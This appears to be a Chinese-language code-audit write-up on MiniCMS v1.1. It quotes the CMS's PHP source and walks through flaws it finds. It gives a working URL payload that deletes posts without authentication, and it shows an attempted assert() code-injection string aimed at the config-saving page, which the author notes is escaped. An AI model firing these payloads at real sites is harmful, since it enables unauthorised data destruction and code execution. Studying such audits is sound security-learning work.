学习一下代码审计方面。先审计一些小型cms
Mini CMS v1.1
MiniCMS是一个针对个人网站设计的微型内容管理系统。它的特点是:
mc-admin/index.php 代码如下:
<?php
require_once dirname(dirname(__FILE__)).'/mc-files/mc-conf.php';
if (isset($_COOKIE['mc_token'])) {
$token = $_COOKIE['mc_token'];
if ($token == md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
Header("Location:{$mc_config['site_link']}/mc-admin/post.php");
}
}
if (isset($_POST['login'])) {
if ($_POST['user'] == $mc_config['user_name']
&& $_POST['pass'] == $mc_config['user_pass']) {
setcookie('mc_token', md5($mc_config['user_name'].'_'.$mc_config['user_pass']));
Header("Location:{$mc_config['site_link']}/mc-admin/post.php");
}
}
?>
也就是说,登陆成功的话会进入当前post.php
ac-admin/head.php 权限判断:
<?php
ini_set("display_errors", "On"); error_reporting(E_ALL);
require_once '../mc-files/mc-conf.php';
if (isset($_COOKIE['mc_token'])) {
$token = $_COOKIE['mc_token'];
if ($token != md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
Header("Location:index.php");
exit;
}
} else {
Header("Location:index.php");
exit;
}
...代码省略
在ac-admin/post.php中,第188行才会用权限判断,前面的函数已经执行了,所以这里存在越权行为:
188行前面的函数有:
function delete_post($id) {
global $state, $index_file, $mc_posts;
$post = $mc_posts[$id];
$post['prev_state'] = $state;
unset($mc_posts[$id]);
file_put_contents($index_file, "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n?>");
if ($state != 'delete') {
$index_file2 = '../mc-files/posts/index/delete.php';
require $index_file2;
$mc_posts[$id] = $post;
file_put_contents($index_file2, "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n?>");
} else {
unlink('../mc-files/posts/data/'.$id.'.dat');
}
}
if (isset($_GET['delete']) || (isset($_GET['apply']) && $_GET['apply'] == 'delete')) {
if (isset($_GET['apply']) && $_GET['apply'] == 'delete') {
$ids = explode(',', $_GET['ids']);
foreach ($ids as $id) {
if (trim($id) == '')
continue;
delete_post($id);
load_posts();
}
} else {
delete_post($_GET['delete']);
}
这里测试一下无admin删掉文章,构造payload:
http://xxxxxxxx/mc-admin/post.php?state=delete&delete=aaaaaa
删掉成功,这就是垂直越权漏洞了
前提是能进入后台,在conf.php设置
ac-admin/conf.php 代码如下:
<?php require 'head.php' ?>
<?php
$display_info = false;
if (isset($_POST['save'])) {
$user_name_changed = $_POST['user_name'] != $mc_config['user_name'];
$mc_config['site_name'] = $_POST['site_name'];
$mc_config['site_desc'] = $_POST['site_desc'];
$mc_config['site_link'] = $_POST['site_link'];
$mc_config['user_nick'] = $_POST['user_nick'];
$mc_config['user_name'] = $_POST['user_name'];
$mc_config['comment_code'] = get_magic_quotes_gpc() ? stripslashes(trim($_POST['comment_code'])) : trim($_POST['comment_code']);
if ($_POST['user_pass'] != '')
$mc_config['user_pass'] = $_POST['user_pass'];
$code = "<?php\n\$mc_config = ".var_export($mc_config, true)."\n?>";
file_put_contents('../mc-files/mc-conf.php', $code);
if ($_POST['user_pass'] != '' || $user_name_changed) {
setcookie('mc_token', md5($mc_config['user_name'].'_'.$mc_config['user_pass']));
}
$display_info = true;
}
开头是先权限判断的,所以要先进后台,构造payload:
xxx');assert($_GET[x]);/*
查看代码发现单引号被加了斜杆过滤了.var_export()这个函数会给单引号加上斜杆